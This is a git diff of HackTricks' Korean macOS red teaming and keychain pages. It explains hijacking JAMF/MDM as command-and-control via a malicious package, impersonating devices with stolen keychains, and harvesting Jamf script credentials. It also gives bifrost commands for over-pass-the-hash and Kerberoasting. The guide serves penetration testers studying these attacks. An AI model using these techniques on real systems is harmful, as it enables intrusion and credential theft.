mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden
This commit is contained in:
parent
08e95a0a11
commit
93bf1e6931
3 changed files with 301 additions and 164 deletions
|
@ -1,28 +1,28 @@
|
|||
# macOS Red Teaming
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 참여하기 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 팔로우하기**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭 공유하기.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## MDM 남용
|
||||
## MDM 악용
|
||||
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
관리자 자격 증명을 **침해하여** 관리 플랫폼에 액세스할 수 있다면, 해당 기기에 악성 코드를 배포하여 **모든 컴퓨터를 잠재적으로 침해**할 수 있습니다.
|
||||
관리 플랫폼에 접근하기 위해 **관리자 자격 증명을 탈취**하는 데 성공하면, 기계에 악성 코드를 배포하여 **모든 컴퓨터를 잠재적으로 손상시킬 수 있습니다**.
|
||||
|
||||
MacOS 환경에서 레드팀 활동을 위해 MDM이 어떻게 작동하는지 이해하는 것이 매우 권장됩니다:
|
||||
MacOS 환경에서 레드 팀 활동을 하려면 MDM이 어떻게 작동하는지에 대한 이해가 필요합니다:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
|
@ -30,41 +30,41 @@ MacOS 환경에서 레드팀 활동을 위해 MDM이 어떻게 작동하는지
|
|||
|
||||
### MDM을 C2로 사용하기
|
||||
|
||||
MDM은 프로필을 설치, 쿼리 또는 제거하거나 애플리케이션을 설치하고 로컬 관리자 계정을 만들고 펌웨어 암호를 설정하고 FileVault 키를 변경하는 권한이 있습니다...
|
||||
MDM은 프로필을 설치, 쿼리 또는 제거하고, 애플리케이션을 설치하고, 로컬 관리자 계정을 생성하고, 펌웨어 비밀번호를 설정하고, FileVault 키를 변경할 수 있는 권한을 가집니다...
|
||||
|
||||
자체 MDM을 실행하려면 [**https://mdmcert.download/**](https://mdmcert.download/)에서 얻을 수 있는 **공급 업체에 의해 서명된 CSR**이 필요합니다. 그리고 Apple 기기용 자체 MDM을 실행하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
|
||||
자신의 MDM을 운영하려면 **공급업체에 의해 서명된 CSR**이 필요하며, 이를 [**https://mdmcert.download/**](https://mdmcert.download/)에서 얻으려고 시도할 수 있습니다. Apple 장치용 MDM을 운영하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
|
||||
|
||||
그러나 등록된 기기에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명해야 합니다... 그러나 MDM 등록 시 **기기는 MDM의 SSL 인증서를 신뢰하는 CA로 추가**되므로 이제 모든 것을 서명할 수 있습니다.
|
||||
그러나 등록된 장치에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명해야 합니다... 하지만 MDM 등록 시 **장치가 MDM의 SSL 인증서를 신뢰할 수 있는 CA로 추가**하므로 이제 무엇이든 서명할 수 있습니다.
|
||||
|
||||
기기를 MDM에 등록하려면 루트로 **`mobileconfig`** 파일을 설치해야 하며, 이는 **pkg** 파일을 통해 전달될 수 있습니다 (Safari에서 다운로드하면 압축이 풀립니다).
|
||||
장치를 MDM에 등록하려면 **`mobileconfig`** 파일을 루트로 설치해야 하며, 이는 **pkg** 파일을 통해 전달될 수 있습니다(압축하여 zip으로 만들고 Safari에서 다운로드하면 압축이 해제됩니다).
|
||||
|
||||
**Mythic 에이전트 Orthrus**는 이 기술을 사용합니다.
|
||||
**Mythic agent Orthrus**는 이 기술을 사용합니다.
|
||||
|
||||
### JAMF PRO 남용
|
||||
### JAMF PRO 악용
|
||||
|
||||
JAMF는 **사용자 지정 스크립트** (시스템 관리자가 개발한 스크립트), **네이티브 페이로드** (로컬 계정 생성, EFI 암호 설정, 파일/프로세스 모니터링...) 및 **MDM** (기기 구성, 기기 인증서...)를 실행할 수 있습니다.
|
||||
JAMF는 **사용자 정의 스크립트**(시스템 관리자가 개발한 스크립트), **네이티브 페이로드**(로컬 계정 생성, EFI 비밀번호 설정, 파일/프로세스 모니터링...) 및 **MDM**(장치 구성, 장치 인증서...)를 실행할 수 있습니다.
|
||||
|
||||
#### JAMF 자가 등록
|
||||
#### JAMF 자체 등록
|
||||
|
||||
`https://<company-name>.jamfcloud.com/enroll/`과 같은 페이지로 이동하여 **자가 등록이 활성화되어 있는지 확인**하세요. 활성화되어 있다면 **액세스 자격 증명을 요청**할 수 있습니다.
|
||||
`https://<회사 이름>.jamfcloud.com/enroll/`와 같은 페이지로 이동하여 **자체 등록이 활성화되어 있는지** 확인합니다. 활성화되어 있다면 **접근을 위한 자격 증명을 요청할 수 있습니다**.
|
||||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용하여 패스워드 spraying 공격을 수행할 수 있습니다.
|
||||
비밀번호 스프레이 공격을 수행하기 위해 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용할 수 있습니다.
|
||||
|
||||
또한 적절한 자격 증명을 찾은 후 다음 양식으로 다른 사용자 이름을 브루트 포스할 수 있습니다:
|
||||
또한, 적절한 자격 증명을 찾은 후에는 다음 양식을 사용하여 다른 사용자 이름을 무차별 대입할 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (107).png>)
|
||||
|
||||
#### JAMF 기기 인증
|
||||
#### JAMF 장치 인증
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** 바이너리에는 열쇠고리를 열기 위한 비밀이 포함되어 있었으며, 발견 당시 **모두에게 공유**되었으며: **`jk23ucnq91jfu9aj`**입니다.\
|
||||
또한 jamf는 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**에 **LaunchDaemon**으로 **지속**됩니다.
|
||||
**`jamf`** 바이너리는 키체인을 여는 비밀을 포함하고 있으며, 발견 당시 모든 사람과 **공유**되었습니다: **`jk23ucnq91jfu9aj`**.\
|
||||
또한, jamf는 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**에 **LaunchDaemon**으로 **지속**됩니다.
|
||||
|
||||
#### JAMF 기기 탈취
|
||||
#### JAMF 장치 인수
|
||||
|
||||
**`jamf`**가 사용할 **JSS** (Jamf Software Server) **URL**은 **`/Library/Preferences/com.jamfsoftware.jamf.plist`**에 있습니다.\
|
||||
이 파일에는 기본적으로 URL이 포함되어 있습니다:
|
||||
**JSS** (Jamf Software Server) **URL**은 **`jamf`**가 사용할 **`/Library/Preferences/com.jamfsoftware.jamf.plist`**에 위치합니다.\
|
||||
이 파일은 기본적으로 URL을 포함합니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -81,7 +81,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
따라서 공격자는 악성 패키지 (`pkg`)를 드롭할 수 있으며, 이 패키지가 설치될 때 **이 파일을 덮어쓰도록** 설정하여 **Typhon 에이전트의 Mythic C2 수신기 URL**로 변경함으로써 JAMF를 C2로 남용할 수 있습니다.
|
||||
그래서 공격자는 설치할 때 이 파일을 **덮어쓰는** 악성 패키지(`pkg`)를 배포할 수 있으며, 이제 **Typhon 에이전트의 Mythic C2 리스너에 대한 URL을 설정하여 JAMF를 C2로 악용할 수 있습니다.**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -92,26 +92,26 @@ sudo jamf policy -id 0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### JAMF Impersonation
|
||||
#### JAMF 사칭
|
||||
|
||||
**장치**와 JMF 간의 **통신을 위장**하기 위해 다음이 필요합니다:
|
||||
장치와 JMF 간의 **통신을 사칭**하려면 다음이 필요합니다:
|
||||
|
||||
* **장치의 UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* 다음 위치에서 **JAMF 키체인** 가져오기: `/Library/Application\ Support/Jamf/JAMF.keychain` (장치 인증서 포함)
|
||||
* 장치의 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* 장치 인증서를 포함하는 **JAMF 키체인**: `/Library/Application\ Support/Jamf/JAMF.keychain`
|
||||
|
||||
이 정보를 사용하여 **도난당한** 하드웨어 **UUID**로 VM을 만들고 **SIP를 비활성화**한 후 **JAMF 키체인을 떨어뜨리고**, Jamf **에이전트를 후킹**하여 정보를 도용합니다.
|
||||
이 정보를 가지고, **도난당한** 하드웨어 **UUID**와 **SIP 비활성화**된 **VM**을 생성하고, **JAMF 키체인**을 드롭한 후, Jamf **에이전트**를 **후킹**하여 정보를 훔칩니다.
|
||||
|
||||
#### 비밀 정보 도용
|
||||
#### 비밀 훔치기
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
또한 **관리자가 실행하길 원하는** **사용자 정의 스크립트**를 모니터링할 수 있습니다. 이러한 스크립트는 `/Library/Application Support/Jamf/tmp/`에 **배치되고 실행되며 삭제**됩니다. 이러한 스크립트에는 **자격 증명**이 포함될 수 있습니다.
|
||||
관리자가 Jamf를 통해 실행하고자 할 **커스텀 스크립트**를 위해 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링할 수도 있습니다. 이 스크립트는 **여기에 배치되고 실행된 후 제거됩니다**. 이 스크립트는 **자격 증명**을 포함할 수 있습니다.
|
||||
|
||||
그러나 **자격 증명**은 **매개 변수**로 이러한 스크립트를 통해 전달될 수 있으므로 `ps aux | grep -i jamf`를 모니터링해야 합니다(루트 권한이 필요하지 않음).
|
||||
그러나 **자격 증명**은 이러한 스크립트에 **매개변수**로 전달될 수 있으므로, `ps aux | grep -i jamf`를 모니터링해야 합니다 (루트 권한 없이도 가능합니다).
|
||||
|
||||
[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) 스크립트는 새 파일이 추가되고 새 프로세스 인수를 수신할 수 있습니다.
|
||||
스크립트 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)는 새 파일이 추가되거나 새 프로세스 인수가 생기는 것을 감시할 수 있습니다.
|
||||
|
||||
### macOS 원격 액세스
|
||||
### macOS 원격 접근
|
||||
|
||||
또한 **MacOS**의 "특별한" **네트워크** **프로토콜**에 대해:
|
||||
|
||||
|
@ -121,7 +121,7 @@ sudo jamf policy -id 0
|
|||
|
||||
## Active Directory
|
||||
|
||||
일부 경우에는 **MacOS 컴퓨터가 AD에 연결**되어 있는 것을 발견할 수 있습니다. 이 시나리오에서는 일반적으로 사용하는 방식으로 **Active Directory를 열거**해야 합니다. 다음 페이지에서 도움을 얻을 수 있습니다:
|
||||
어떤 경우에는 **MacOS 컴퓨터가 AD에 연결되어 있는** 것을 발견할 수 있습니다. 이 시나리오에서는 익숙한 대로 **액티브 디렉토리**를 **열거**하려고 시도해야 합니다. 다음 페이지에서 **도움**을 찾으세요:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -135,36 +135,36 @@ sudo jamf policy -id 0
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
`dscl`이라는 **로컬 MacOS 도구**도 도움이 될 수 있습니다:
|
||||
도움이 될 수 있는 **로컬 MacOS 도구**는 `dscl`입니다:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
또한 MacOS용 도구들이 AD를 자동으로 열거하고 kerberos를 사용하는 방법을 연구하도록 준비되어 있습니다:
|
||||
또한 MacOS에서 AD를 자동으로 열거하고 kerberos와 상호작용하기 위해 준비된 몇 가지 도구가 있습니다:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound는 Bloodhound 감사 도구의 확장으로, MacOS 호스트에서 Active Directory 관계를 수집하고 흡수할 수 있도록 합니다.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 Objective-C 프로젝트로, macOS에서 Heimdal krb5 API와 상호 작용하도록 설계되었습니다. 이 프로젝트의 목표는 대상 시스템에 다른 프레임워크나 패키지를 필요로하지 않고 네이티브 API를 사용하여 macOS 장치에서 Kerberos 주변의 보안 테스트를 가능하게 하는 것입니다.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory 열거를 수행하는 JavaScript for Automation (JXA) 도구입니다.
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound는 MacOS 호스트에서 Active Directory 관계를 수집하고 수집할 수 있도록 하는 Bloodhound 감사 도구의 확장입니다.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 macOS에서 Heimdal krb5 API와 상호작용하도록 설계된 Objective-C 프로젝트입니다. 이 프로젝트의 목표는 타겟에 다른 프레임워크나 패키지를 요구하지 않고 네이티브 API를 사용하여 macOS 장치에서 Kerberos에 대한 보안 테스트를 개선하는 것입니다.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory 열거를 수행하기 위한 JavaScript for Automation (JXA) 도구입니다.
|
||||
|
||||
### 도메인 정보
|
||||
```bash
|
||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||
```
|
||||
### 사용자
|
||||
### Users
|
||||
|
||||
맥OS 사용자의 세 가지 유형은 다음과 같습니다:
|
||||
MacOS 사용자 유형은 세 가지입니다:
|
||||
|
||||
- **로컬 사용자** — 로컬 OpenDirectory 서비스에서 관리되며 Active Directory와는 연결되어 있지 않습니다.
|
||||
- **네트워크 사용자** — DC 서버에 연결하여 인증을 받아야 하는 휘발성 Active Directory 사용자입니다.
|
||||
- **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
|
||||
* **로컬 사용자** — 로컬 OpenDirectory 서비스에 의해 관리되며, Active Directory와는 어떤 식으로도 연결되어 있지 않습니다.
|
||||
* **네트워크 사용자** — DC 서버에 연결하여 인증을 받아야 하는 변동성 있는 Active Directory 사용자입니다.
|
||||
* **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
|
||||
|
||||
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default_ 폴더에 저장됩니다.\
|
||||
예를 들어, _mark_라는 사용자에 대한 정보는 _/var/db/dslocal/nodes/Default/users/mark.plist_에 저장되며, _admin_ 그룹에 대한 정보는 _/var/db/dslocal/nodes/Default/groups/admin.plist_에 저장됩니다.
|
||||
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default._ 폴더에 저장됩니다.\
|
||||
예를 들어, _mark_라는 사용자에 대한 정보는 _/var/db/dslocal/nodes/Default/users/mark.plist_에 저장되며, _admin_ 그룹에 대한 정보는 _/var/db/dslocal/nodes/Default/groups/admin.plist_에 있습니다.
|
||||
|
||||
HasSession 및 AdminTo 엣지를 사용하는 것 외에도, **MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 엣지를 추가**합니다:
|
||||
HasSession 및 AdminTo 엣지를 사용하는 것 외에도, **MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 엣지를 추가합니다**:
|
||||
|
||||
- **CanSSH** - 호스트로 SSH 연결을 허용하는 엔티티
|
||||
- **CanVNC** - 호스트로 VNC 연결을 허용하는 엔티티
|
||||
- **CanAE** - 호스트에서 AppleEvent 스크립트를 실행할 수 있는 엔티티
|
||||
* **CanSSH** - 호스트에 SSH로 접속할 수 있는 엔티티
|
||||
* **CanVNC** - 호스트에 VNC로 접속할 수 있는 엔티티
|
||||
* **CanAE** - 호스트에서 AppleEvent 스크립트를 실행할 수 있는 엔티티
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
|
@ -186,11 +186,42 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
|
|||
#Domain Information
|
||||
dsconfigad -show
|
||||
```
|
||||
더 많은 정보: [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
더 많은 정보는 [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
## 키체인 접근
|
||||
### Computer$ 비밀번호
|
||||
|
||||
키체인에는 민감한 정보가 많이 포함되어 있으며, 프롬프트를 생성하지 않고 액세스하는 경우 레드팀 연습을 진행하는 데 도움이 될 수 있습니다:
|
||||
다음 방법으로 비밀번호를 가져옵니다:
|
||||
```bash
|
||||
bifrost --action askhash --username [name] --password [password] --domain [domain]
|
||||
```
|
||||
**`Computer$`** 비밀번호에 접근하는 것은 시스템 키체인 내에서 가능합니다.
|
||||
|
||||
### Over-Pass-The-Hash
|
||||
|
||||
특정 사용자 및 서비스에 대한 TGT를 가져옵니다:
|
||||
```bash
|
||||
bifrost --action asktgt --username [user] --domain [domain.com] \
|
||||
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
|
||||
```
|
||||
TGT가 수집되면, 현재 세션에 주입할 수 있습니다:
|
||||
```bash
|
||||
bifrost --action asktgt --username test_lab_admin \
|
||||
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
|
||||
--enctype aes256 --domain test.lab.local
|
||||
```
|
||||
### Kerberoasting
|
||||
```bash
|
||||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
```
|
||||
획득한 서비스 티켓을 사용하여 다른 컴퓨터의 공유에 접근할 수 있습니다:
|
||||
```bash
|
||||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```
|
||||
## Keychain 접근하기
|
||||
|
||||
Keychain은 프롬프트를 생성하지 않고 접근할 경우, 레드 팀 연습을 진행하는 데 도움이 될 수 있는 민감한 정보를 포함하고 있을 가능성이 높습니다:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -198,20 +229,35 @@ dsconfigad -show
|
|||
|
||||
## 외부 서비스
|
||||
|
||||
일반적인 Windows 레드팀과는 다르게 **MacOS는 일반적으로 여러 외부 플랫폼과 직접 통합**되어 있습니다. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 액세스하고 OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 액세스하는 것입니다.
|
||||
MacOS 레드 팀은 일반적인 Windows 레드 팀과 다릅니다. 왜냐하면 **MacOS는 여러 외부 플랫폼과 직접 통합되어 있기 때문입니다**. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 접근하고, OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 접근하는 것입니다.
|
||||
|
||||
## 기타 레드팀 기술
|
||||
## 기타 레드 팀 기술
|
||||
|
||||
### Safari
|
||||
|
||||
Safari에서 파일을 다운로드하면 "안전한" 파일인 경우 **자동으로 열립니다**. 예를 들어, **zip 파일을 다운로드**하면 자동으로 압축이 해제됩니다:
|
||||
Safari에서 파일이 다운로드될 때, "안전한" 파일이라면 **자동으로 열립니다**. 예를 들어, **zip 파일을 다운로드하면**, 자동으로 압축이 해제됩니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 참고 자료
|
||||
## 참고자료
|
||||
|
||||
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
|
||||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# macOS 키체인
|
||||
# macOS Keychain
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 가입하거나 [**텔레그램 그룹**](https://t.me/peass) 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하기.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령 공유하기.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -19,69 +19,72 @@ GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
|
||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
||||
|
||||
WhiteIntel의 주요 목표는 정보 탈취 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
||||
|
||||
그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다:
|
||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 주요 키체인
|
||||
## Main Keychains
|
||||
|
||||
* **사용자 키체인** (`~/Library/Keychains/login.keycahin-db`)은 애플리케이션 비밀번호, 인터넷 비밀번호, 사용자 생성 인증서, 네트워크 비밀번호 및 사용자 생성 공개/비공개 키와 같은 **사용자별 자격 증명**을 저장하는 데 사용됩니다.
|
||||
* **시스템 키체인** (`/Library/Keychains/System.keychain`)은 WiFi 비밀번호, 시스템 루트 인증서, 시스템 비공개 키 및 시스템 애플리케이션 비밀번호와 같은 **시스템 전체 자격 증명**을 저장합니다.
|
||||
* **사용자 키체인** (`~/Library/Keychains/login.keycahin-db`): 애플리케이션 비밀번호, 인터넷 비밀번호, 사용자 생성 인증서, 네트워크 비밀번호 및 사용자 생성 공개/개인 키와 같은 **사용자 특정 자격 증명**을 저장하는 데 사용됩니다.
|
||||
* **시스템 키체인** (`/Library/Keychains/System.keychain`): WiFi 비밀번호, 시스템 루트 인증서, 시스템 개인 키 및 시스템 애플리케이션 비밀번호와 같은 **시스템 전체 자격 증명**을 저장합니다.
|
||||
|
||||
### 비밀번호 키체인 액세스
|
||||
### 비밀번호 키체인 접근
|
||||
|
||||
이러한 파일들은 본질적인 보호가 없지만 **다운로드**할 수 있으며, **사용자의 일반 텍스트 비밀번호가 해독**되어야 합니다. [**Chainbreaker**](https://github.com/n0fate/chainbreaker)와 같은 도구를 사용하여 해독할 수 있습니다.
|
||||
이 파일들은 본래 보호가 없고 **다운로드**할 수 있지만, 암호화되어 있으며 **사용자의 평문 비밀번호로 복호화**해야 합니다. [**Chainbreaker**](https://github.com/n0fate/chainbreaker)와 같은 도구를 사용하여 복호화할 수 있습니다.
|
||||
|
||||
## 키체인 항목 보호
|
||||
## Keychain Entries Protections
|
||||
|
||||
### ACLs
|
||||
|
||||
